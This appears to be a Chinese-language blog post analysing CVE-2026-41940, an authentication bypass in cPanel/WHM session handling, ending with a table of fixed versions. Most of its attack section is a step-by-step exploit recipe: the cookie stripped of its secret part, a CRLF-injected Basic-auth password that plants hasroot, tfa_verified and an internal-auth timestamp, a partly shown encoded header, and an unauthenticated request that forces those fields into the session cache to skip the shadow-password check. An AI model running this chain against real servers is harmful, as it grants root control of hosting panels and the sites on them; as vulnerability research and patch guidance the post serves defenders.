CVE-2026-41940 cPanel/WHM 认证绕过漏洞分析
漏洞概述
- CVE 编号:CVE-2026-41940
- 影响范围:所有当前支持的 cPanel & WHM 版本(影响超过 7000 万域名)
- 漏洞类型:认证绕过(Authentication Bypass)
- 在野利用:已知(多家主机商确认已在野使用作为零日)
背景
cPanel & WHM 是全球最常用的主机管理面板:
- WHM:管理员面板,root 级别权限,可管理 SSL、SSL 证书、安全协议等
- cPanel:面向用户的控制面板,管理单个托管账户
WHM 是”王国的钥匙”,cPanel 是”每个公寓的钥匙”。如果王国是互联网,公寓是网站——那就意味着控制了这一切。
第一部分:cPanel Session 机制
登录流程中的 Session 创建
当用户尝试登录 WHM 时,无论密码是否正确,服务器都会:
- 创建一个预认证 Session,写入磁盘
- 返回一个 Set-Cookie:
Set-Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK%2c1bd3d4bf5ecbf83b660789ab0f3198faURL 解码后为::Wg_mjzgt1hyfXefK,1bd3d4bf5ecbf83b660789ab0f3198fa
Cookie 结构
Cookie 由两部分组成,用逗号分隔:
<session_name>,<ob><session_name>:实际 session 文件名(如:Wg_mjzgt1hyfXefK)<ob>:32 位十六进制字符串,每会话一个的秘密密钥
Session 文件结构
Session 文件存储在 /var/cpanel/sessions/raw/,格式为明文 key=value,每行用 \r\n 分隔:
local_ip_address=172.17.0.2external_validation_token=bOOwkwVzFsruooU0cp_security_token=/cpsess7833455106needs_auth=1origin_as_string=address=172.17.0.1,app=whostmgrd,method=badpasshulk_registered=0tfa_verified=0ip_address=172.17.0.1login_theme=cpanel预认证 session 包含:
cp_security_token:预发的访问令牌source IP:用于 IP 锁定tfa_verified:2FA 验证标志- 其他状态信息
用户最终成功登录后,同一个 session 文件会被”升级”,添加 user=... 和 pass=... 字段。
第二部分:漏洞根因 — saveSession 的两个 Bug
Bug 1:密码写盘时不过滤 CRLF
在未打补丁的版本中,saveSession 函数对密码的处理如下:
my $ob = get_ob_part(\$session); # 从 cookie 提取 <ob> 部分my $encoder = $ob && Cpanel::Session::Encoder->new('secret' => $ob);if ($encoder && length $session_ref->{'pass'}) { local $session_ref->{'pass'} = $encoder->encode_data($session_ref->{'pass'});}问题所在:只有当 $ob 存在时才会对密码进行编码。
如果攻击者故意让 cookie 中没有逗号后的 <ob> 部分(只发 :Wg_mjzgt1hyfXefK),则:
$ob为空$encoder为空(falsy)- 密码直接以明文形式写入 session 文件,没有任何编码
Bug 2:set_pass 不过滤 \r\n
处理 Basic 认证时,密码经过 set_pass 处理:
my ($user, $pass) = split(/:/, decode_base64($encoded), 2);$user = $server_obj->auth->set_user($user); # 只过滤 \0 和 /$pass = $server_obj->auth->set_pass($pass); # 只过滤 \0,没过滤 \r\n!$SESSION_ref->{'pass'} = $pass;Cpanel::Session::saveSession($session, $SESSION_ref);set_pass 只过滤了 \0,没有过滤 \r\n。
漏洞的化学反应
cPanel session 文件格式是 key=value\r\n。当密码值中包含 \r\n 时:
正常 session 文件内容:
pass=正确密码user=roottfa_verified=0注入 CRLF 后:
pass=xhasroot=1user=roottfa_verified=1cp_security_token=/cpsess9999999999successful_internal_auth_with_timestamp=1777462149解析器将把后续内容视为 6 行独立的 key=value 记录!hasroot=1、user=root、tfa_verified=1 全都成为 session 文件的顶层字段。
第三部分:完整攻击流程
Step 1:Mint 预认证 Session
发送一个错误的登录尝试,服务器创建 session 文件:
POST /login/?login_only=1 HTTP/1.1Host: target:2087
user=root&pass=wrong响应:
Set-Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK%2c4d257abc...Step 2:注入 CRLF — 发送无 的 Cookie
将 cookie 中的逗号和后面的 <ob> 部分删掉,只发送::Wg_mjzgt1hyfXefK(URL 编码为 %3aWg_mjzgt1hyfXefK)。
这样 get_ob_part 拿到的 $ob 为空,密码不会被编码。
然后在密码中构造 CRLF 注入 payload:
root:xhasroot=1tfa_verified=1user=rootcp_security_token=/cpsess9999999999successful_internal_auth_with_timestamp=1777462149Base64 编码后发送:
GET / HTTP/1.1Host: target:2087Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefKAuthorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0x...Step 3:Session 文件被污染
磁盘上的 session 文件变成:
tfa_verified=0$ip_address=172.17.0.1$user=root$pass=x <-- \r\n 后注入内容开始hasroot=1 <-- 注入的tfa_verified=1 <-- 注入的user=root <-- 注入的cp_security_token=/cpsess9999999999 <-- 注入的successful_internal_auth_with_timestamp=1777462149 <-- 注入的...六个新行作为独立记录写入 session 文件!
Step 4:服务器返回 307 重定向
HTTP/1.1 307 MovedLocation: /cpsess0228251236/服务器认为认证成功。
Step 5:访问版本信息验证是否成功绕过
GET /cpsess0228251236/json-api/version HTTP/1.1Host: target:2087Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_Connection: close返回
HTTP/1.1 403 Forbidden Access deniedConnection: closeContent-Type: text/plain; charset="utf-8"
{"cpanelresult":{"apiversion":"2","error":"Access denied","data":{"reason":"Access denied","result":"0"},"type":"text"}}绕过失败了,为什么失败,因为解析器 LoadSession不是读取原始的 key=value 文件,而是读取 cache 目录下的 JSON 序列化文件:
/var/cpanel/sessions/raw/:Wg_mjzgt1hyfXefK <-- 原始行式文件/var/cpanel/sessions/cache/:Wg_mjzgt1hyfXefK <-- JSON 序列化缓存loadSession 优先读取 cache(JSON 文件),只有 cache 加载失败时才回退到读取原始文件。JSON 文件没有被 CRLF 污染,所以注入的内容没生效。
sub loadSession { my ($session) = @_; ... my $session_file = get_session_file_path($session); # /var/cpanel/sessions/raw/<id> my $session_cache = $Cpanel::Config::Session::SESSION_DIR . '/cache/' . $session; my $session_ref;
# First try the binary cache. AdminBin::Serializer is JSON. if ( $session_cache_fh = _open_if_exists_or_warn($session_cache) ) { eval { local $SIG{__DIE__}; $session_ref = Cpanel::AdminBin::Serializer::LoadFile($session_cache_fh); $mtime = ( stat($session_cache_fh) )[9]; }; }
# Only fall through to the slow text parse if the cache load failed or returned nothing. if ( !keys %$session_ref ) { if ( $session_fh = _open_if_exists_or_warn($session_file) ) { require Cpanel::Config::LoadConfig; $session_ref = Cpanel::Config::LoadConfig::parse_from_filehandle( $session_fh, delimiter => '=' ); } } ...}所以在缓存里,加载器实际看到的是:
{"tfa_verified":"0","ip_address":"172.17.0.1","user":"root","login_theme":"cpanel","port":"43586","origin_as_string":"address=172.17.0.1,app=whostmgrd,method=badpass","pass":"x\r\nhasroot=1\r\ntfa_verified=1\r\nuser=root\r\ncp_security_token=/cpsess9999999999\r\nsuccessful_internal_auth_with_timestamp=1777462149","hulk_registered":"0","local_port":"2087","cp_security_token":"/cpsess0228251236","external_validation_token":"ss27XQjbY11gmCDs","local_ip_address":"172.17.0.2"}加载到变量里面之后是这样:
$SESSION_ref = { user => 'root', pass => "x\r\nhasroot=1\r\ntfa_verified=1\r\n...", cp_security_token => '/cpsess0228251236', tfa_verified => '0', # ...no hasroot, no successful_internal_auth_with_timestamp}第四部分:Cache 机制与绕过
在 Step 5 的时候,我们看见有一个函数 parse_from_filehandle,算是一种在 cache 读取不到的时候的备用模式
if ( !keys %$session_ref ) { if ( $session_fh = _open_if_exists_or_warn($session_file) ) { require Cpanel::Config::LoadConfig; $session_ref = Cpanel::Config::LoadConfig::parse_from_filehandle( $session_fh, delimiter => '=' ); } }查找这个函数,发现有两处调用过这个函数:
grep -rn 'LoadConfig::loadConfig\|parse_from_filehandle' /usr/local/cpanel/Cpanel/Session*
/usr/local/cpanel/Cpanel/Session/Load.pm:69: parse_from_filehandle(...) # the loader, fallback path/usr/local/cpanel/Cpanel/Session/Modify.pm:97: LoadConfig::loadConfig($session_file, ..., { 'nocache' => 1, ... });跟进Modify.pm文件,发现有两个函数值得关注
这是一个绕过 cache,直接读 raw 的构造函数
sub new { my ( $class, $session, $check_expiration ) = @_;
if ( $check_expiration ? !Cpanel::Session::Load::session_exists_and_is_current($session) : !Cpanel::Session::Load::session_exists($session) ) { die "The session ^`^|$session ^`^} does not exist"; }
Cpanel::Session::Load::get_ob_part( \$session ); # strip ob_part
my $session_file = Cpanel::Session::Load::get_session_file_path($session);
# Cpanel::Transaction not available here due to memory constraints my ( $ref, $fh, $conflock ) = Cpanel::Config::LoadConfig::loadConfig( // (1) $session_file, undef, '=', undef, 0, 0, { 'skip_readable_check' => 1, 'nocache' => 1, 'keep_locked_open' => 1, 'rw' => 1 } // (2) );
return bless { '_session' => $session, '_fh' => $fh, '_lock' => $conflock, '_data' => Cpanel::Session::decode_origin($ref), }, $class;}现在如果我们能触发任何预授权可达的代码路径,调用 Modify::new 并调用 Modify::save 在我们的会话中,注入就会作为顶层密钥提升到 JSON 缓存中。
在寻找 new friend 的时候,发现了一个函数,这个函数在 (1) 处调用了 Modify::new,在 (2) 处调用了 Modify::save,正是我们需要的
sub do_token_denied { my ($error_msg, $form_ref, $goto_uri, $use_theme) = @_; ... my $max_tries = 3; if ($user_provided_session_ref = $server_obj->get_current_session_ref_if_exists) { my $session = $server_obj->get_current_session; if (not $server_obj->request->get_supplied_security_token or ++$user_provided_session_ref->{'token_denied'} < $max_tries) { require Cpanel::Session::Modify; my $session_mod = 'Cpanel::Session::Modify'->new($session); # (1) $session_mod->set('token_denied', defined $session_mod->get('token_denied') ? $session_mod->get('token_denied') + 1 : 1 ); $session_mod->save; # (2) $another_try = 1; } } ...}解释一下,每当某些 URL 被请求时,会调用 check_security_token do_token_denied
实现方式如下——在(1)时检查提供的安全令牌,如果失败,在(2)时调用 do_token_denied:
sub check_security_token { ... if (not $server_obj->request->get_supplied_security_token) { $failmsg = 'security token missing'; } elsif ($ENV{'cp_security_token'} ne $server_obj->request->get_supplied_security_token) { // (1) $failmsg = 'security token incorrect'; } if ($failmsg) { if ($is_login_url) { $server_obj->badpass(...); } else { failedlogin($failmsg, 1); $server_obj->connection->set_is_last_request(1); do_token_denied($failmsg); # (2) } ...}如果你想知道什么是安全令牌——几乎所有发送给 cpsrvd 的 HTTP 请求在 URI 中都会有一个令牌前缀:
/cpsess1234567890/scripts2/listaccts其中的 cpsess1234567890 就是安全令牌,所以当我们发送没有带安全令牌的请求的时候,就会强制触发 do_token_denied 函数
GET /scripts2/listaccts HTTP/1.1Host: target:2087Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_Connection: close响应
HTTP/1.1 401 Token DeniedCache-Control: no-cache, no-store, must-revalidate, privateContent-Type: text/html; charset="utf-8"再看看缓存文件
{"tfa_verified":"1", <-- was 0, now 1 — injection won"user":"root","hasroot":"1", <-- TOP-LEVEL now"successful_internal_auth_with_timestamp":"1777462149", <-- TOP-LEVEL now"cp_security_token":"/cpsess0228251236","external_validation_token":"ss27XQjbY11gmCDs","token_denied":"1","pass":"x", <-- stripped to just "x""ip_address":"172.17.0.1","local_ip_address":"172.17.0.2",...}现在我们的 cache 已经绕过成功了,我们要成功绕过身份认证了吗?并没有
HTTP/1.1 403 Forbidden Access denied
{"cpanelresult":{"apiversion":"2","error":"Access denied","data":{"reason":"Access denied","result":"0"}}}第五部分:/etc/shadow 绕过
让我们看看 handle_one_connection,它紧接在 handle_auth 之后:
handle_form_login();…handle_auth();
my $authtype = $server_obj->auth->get_auth_type || '';my $document = $server_obj->request->get_document;$user = $server_obj->auth->get_user;my $pass = $server_obj->auth->get_pass;…if ($Cpanel::App::appname eq 'whostmgrd') { … docheckpass_whostmgrd( 'user' => $user, 'pass' => $pass, … ); …}docheckpass_whostmgrd函数的意思是每次请求都要验证密码,密码存放在 /etc/shadow 中
默认情况下,它会在 /etc/shadow 上运行 Cpanel::CheckPass::UNIX::checkpassword($pass, $shadow_entry) against /etc/shadow 逻辑上我们伪造pass会与 root 的真实密码匹配不符,我们会被退回。
不过…我们观察下面的函数,这些函数表示如果设置了任一时间戳,密码验证会被跳过,密码验证 AUTH_OK 无条件返回(参见,这也是我们最初演示发送包含 successful_internal_auth_with_timestamp 的有效载荷的原因)。
sub docheckpass_whostmgrd { my (%OPTS) = @_; … if ($successful_external_auth_with_timestamp or $successful_internal_auth_with_timestamp) { $authorized = _check_external_internal_auth_from_docheckpass(%OPTS); } …}elsif (not $SESSION_ref->{'needs_auth'}) { # session-auth branch … if ($SESSION_ref->{'successful_internal_auth_with_timestamp'}) { $successful_internal_auth_with_timestamp = $SESSION_ref->{'successful_internal_auth_with_timestamp'}; } …}sub check_authok_user { my (%AUTHOPTS) = @_; … if ($AUTHOPTS{'authable_user'}{'successful_external_auth_with_timestamp'} or $AUTHOPTS{'authable_user'}{'successful_internal_auth_with_timestamp'}) { return $Cpanel::Server::AUTH_OK, 0; # <-- /etc/shadow never consulted } elsif (Cpanel::CheckPass::UNIX::checkpassword( $AUTHOPTS{'password'}, $AUTHOPTS{'authable_user'}{'encrypted_pass'})) { … }}然后就成功绕过了 /etc/shadow 的密码验证,访问 /json-api/version 会返回具体版本号
第六部分:漏洞总结
| 项目 | 内容 |
|---|---|
| 漏洞类型 | 认证绕过(Authentication Bypass) |
| 影响组件 | cPanel cpsrvd Session 处理 |
| 影响版本 | 所有当前支持的 cPanel & WHM 版本 |
| 根因 | 1. Basic 认证密码不过滤 \r\n2. 无 <ob> 时密码不编码直接写盘3. session 文件格式支持 CRLF 注入 |
| 攻击向量 | 通过 Basic 认证头注入 CRLF,伪造 session 文件字段 |
| 影响 | 未授权访问 WHM 管理面板 |
受影响版本与修复
| 版本 | 修复版本 |
|---|---|
| 11.110.0.x | 11.110.0.97 |
| 11.118.0.x | 11.118.0.63 |
| 11.126.0.x | 11.126.0.54 |
| 11.132.0.x | 11.132.0.29 |
| 11.134.0.x | 11.134.0.20 |
| 11.136.0.x | 11.136.0.5 |
建议:立即升级到上述修复版本或更高版本。
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!
nevolar's blog











